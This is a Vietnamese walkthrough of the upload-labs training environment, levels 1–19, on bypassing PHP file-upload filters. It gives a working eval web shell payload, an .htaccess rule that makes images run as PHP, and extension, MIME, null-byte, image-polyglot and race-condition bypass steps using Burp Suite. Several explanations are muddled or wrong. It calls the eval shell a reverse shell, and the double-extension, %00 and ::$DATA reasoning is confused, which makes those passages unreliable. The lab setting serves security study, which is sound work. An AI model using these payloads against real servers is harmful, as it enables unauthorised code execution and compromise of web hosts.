Phân tích chuỗi thử nghiệm lỗ hổng tải lên upload-labs (Cấp 1–19)

Giới thiệu tổng quan

upload-labs là một môi trường thực hành bảo mật viết bằng PHP, được thiết kế để mô phỏng đa dạng các tình huống khai thác lỗ hổng tải lên (file upload vulnerabilities) trong kiểm thử xâm nhập. Dự án gồm 19 cấp độ, mỗi cấp áp dụng một cơ chế kiểm soát đầu vào khác nhau — từ xác thực client-side đơn giản đến các biện pháp lọc phức tạp tại phía máy chủ như MIME type, blacklist extension, xử lý ký tự đặc biệt, hoặc kiểm tra nội dung tệp.

Lưu ý quan trọng: Nếu máy chủ thực thi được đoạn mã <?php phpinfo(); ?>, thì khả năng cao cũng sẽ thực thi được shell ngược dạng <?php @eval($_POST['a']); ?>. Tuy nhiên, chỉ cấp độ đầu tiên sử dụng kỹ thuật này nhằm minh họa nguyên lý cơ bản.

Cấp độ 1: Bypass kiểm tra phần mở rộng ở phía client

Trình duyệt gửi yêu cầu với phần mở rộng .jpg, nhưng không có kiểm tra nghiêm ngặt tại server. Giải pháp:

  1. Tạo tệp shell.jpg chứa mã PHP: <?php @eval($_POST['a']); ?>
  2. Dùng Burp Suite bắt gói POST và sửa giá trị filename thành shell.php
  3. Gửi yêu cầu và truy cập trực tiếp URL của tệp đã tải lên (ví dụ: /uploads/shell.php)

Cấp độ 2: Vượt qua kiểm tra MIME type

Máy chủ kiểm tra tiêu đề Content-Type trong phần thân request. Cách vượt qua:

  • Bắt gói bằng Burp → Chỉnh sửa giá trị Content-Type thành image/jpeg hoặc image/png
  • Giữ nguyên phần mở rộng .php trong tên tệp

Cấp độ 3: Bypass danh sách đen mở rộng (blacklist)

Hệ thống cấm .php nhưng không loại bỏ các biến thể như .php3, .php5, .phtml. Một số cấu hình Apache cần cập nhật AddType:

AddType application/x-httpd-php .php .phtml .php3 .php5

Cấp độ 4: Tận dụng tập tin .htaccess

Khi tất cả biến thể PHP đều bị chặn, ta có thể ép máy chủ xử lý tệp ảnh như script PHP thông qua tập tin cấu hình:

  • Tạo tệp shell.jpg chứa mã PHP
  • Tạo tệp .htaccess với nội dung:
<Files "shell.jpg">
  SetHandler application/x-httpd-php
</Files>

Tải đồng thời cả hai tệp lên cùng thư mục đích.

Cấp độ 5: Phân biệt chữ hoa/chữ thường

Server không chuẩn hóa ký tự trong phần mở rộng. Tải lên shell.Php hoặc shell.pHp để tránh kiểm tra.

Cấp độ 6 & 7: Ký tự khoảng trắng và dấu chấm cuối

- Cấp 6: Thêm khoảng trắng vào cuối tên tệp (shell.php ), sau đó dùng Burp cắt bỏ khoảng trắng khi gửi.
- Cấp 7: Thêm dấu chấm ở cuối (shell.php.) — nhiều hệ thống loại bỏ dấu chấm cuối trước khi kiểm tra phần mở rộng.

Cấp độ 8: Loại bỏ chuỗi ::$DATA

Trên Windows, ::$DATA là alternate data stream. Server loại bỏ chuỗi này nếu xuất hiện — do đó gửi shell.php::$DATA, máy chủ sẽ xử lý còn lại là shell.php.

Cấp độ 9: Hàm xử lý dấu chấm không an toàn

Hàm deldot() dừng khi gặp khoảng trắng. Dùng tên shell.php. (có khoảng trắng giữa hai dấu chấm) để bypass.

Cấp độ 10: Cắt phần mở rộng không đầy đủ

Hệ thống kiểm tra từng phần mở rộng từ phải sang trái. Gửi shell.pphphp: khi cắt .php, còn lại .pphphp → không khớp danh sách cấm → sau đó cắt tiếp thành .php hợp lệ.

Cấp độ 11 & 12: Cắt chuỗi NULL (%00)

Áp dụng trên PHP < 5.3.x, nơi hàm xử lý chuỗi dừng tại byte \x00. Với tham số GET: ?filename=shell.php%00.jpg. Với POST: cần giải mã URL thủ công trong Burp vì %00 bị mã hóa thành + nếu không decode.

Cấp độ 13–15: Tiêm mã vào tệp ảnh (image shell)

Tạo ảnh chứa payload bằng lệnh Windows:

copy /b cat1.jpg + shell.txt cat_shell.jpg

Sau đó khai thác lỗ hổng include (ví dụ qua include.php?file=uploads/cat_shell.jpg). Cấp 15 yêu cầu bật extension exif để hàm exif_imagetype() hoạt động — hàm này chỉ kiểm tra signature, không đọc toàn bộ nội dung, nên payload vẫn tồn tại.

Cấp độ 16: Render lại ảnh (re-render)

Một số hàm xử lý ảnh (như imagecreatefromjpeg()) sẽ tái tạo ảnh từ dữ liệu gốc, loại bỏ metadata và code tiêm. Để bypass, cần dùng ảnh đã được "render trước" hoặc tiêm vào vùng dữ liệu không bị ảnh hưởng (ví dụ: comment EXIF).

Cấp độ 17: Cuộc đua điều kiện (race condition)

Upload tệp PHP chứa lệnh ghi file, sau đó gửi hàng loạt request song song nhằm tận dụng thời điểm tệp vừa được lưu nhưng chưa bị kiểm tra hoặc di chuyển:

<?php file_put_contents('../upload/info.php', '<?php phpinfo(); ?>'); ?>

Dùng Burp Intruder với payload rỗng và tốc độ cao để tăng xác suất thành công.

Cấp độ 18 & 19: Sửa lỗi cấu hình và kết hợp nhiều kỹ thuật

Cấp 18 thường yêu cầu điều chỉnh mã nguồn (ví dụ: thay move_uploaded_file() bằng copy()) để giữ nguyên phần mở rộng. Cấp 19 tổng hợp nhiều phương pháp: dùng khoảng trắng, dấu chấm, hoa/thường, hoặc kết hợp %00 và double extension.

Thẻ: php web-security file-upload burpsuite CTF

Đăng vào ngày 5 tháng 7 lúc 21:51